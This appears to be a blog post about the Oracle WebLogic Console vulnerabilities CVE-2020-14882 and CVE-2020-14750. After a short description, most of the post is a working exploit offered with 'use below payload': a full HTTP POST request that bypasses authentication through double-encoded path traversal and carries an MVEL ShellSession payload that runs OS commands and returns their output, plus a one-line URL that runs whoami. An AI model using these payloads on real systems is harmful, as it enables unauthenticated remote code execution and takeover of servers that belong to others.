Weblogic Vulnerability Allows Unauthorized Bypass RCE (CVE-2020-14882,CVE-2020-14750)
Weblogic Vulnerability Allows Unauthorized Bypass RCE (CVE-2020-14882,CVE-2020-14750)
Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
An OS Command Injection vulnerability exists in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). This easily exploitable vulnerability allows an unauthenticated attacker with HTTP based network access to compromise the Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
Use below payload in the post request-
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: xx.x.xx.xx:7001
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Close
Content-Length: 1177
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(""weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField(""connectionHandler"");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(""getServletRequest"").invoke(obj);
String[] cmds = System.getProperty(""os.name"").toLowerCase().contains(""window"") ? new String[]{""cmd.exe"", ""/c"", ""ipconfig""} : new String[]{""/bin/sh"", ""-c"", ""id""};
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(""\\A"").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(""getResponse"").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("""");
executeThread.interrupt();
"");
Use below payload to bypass the authentication-
https://ip/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\%22java.lang.Runtime.getRuntime().exec(%27%22%20+%20whoami%20+%20%22%27);\%22);%22
Reference-
https://www.oracle.com/a/tech/docs/cpuoct2020cvrf.xml
https://www.oracle.com/security-alerts/cpuoct2020.html
https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14882
https://github.com/jas502n/CVE-2020-14882
Comments
Post a Comment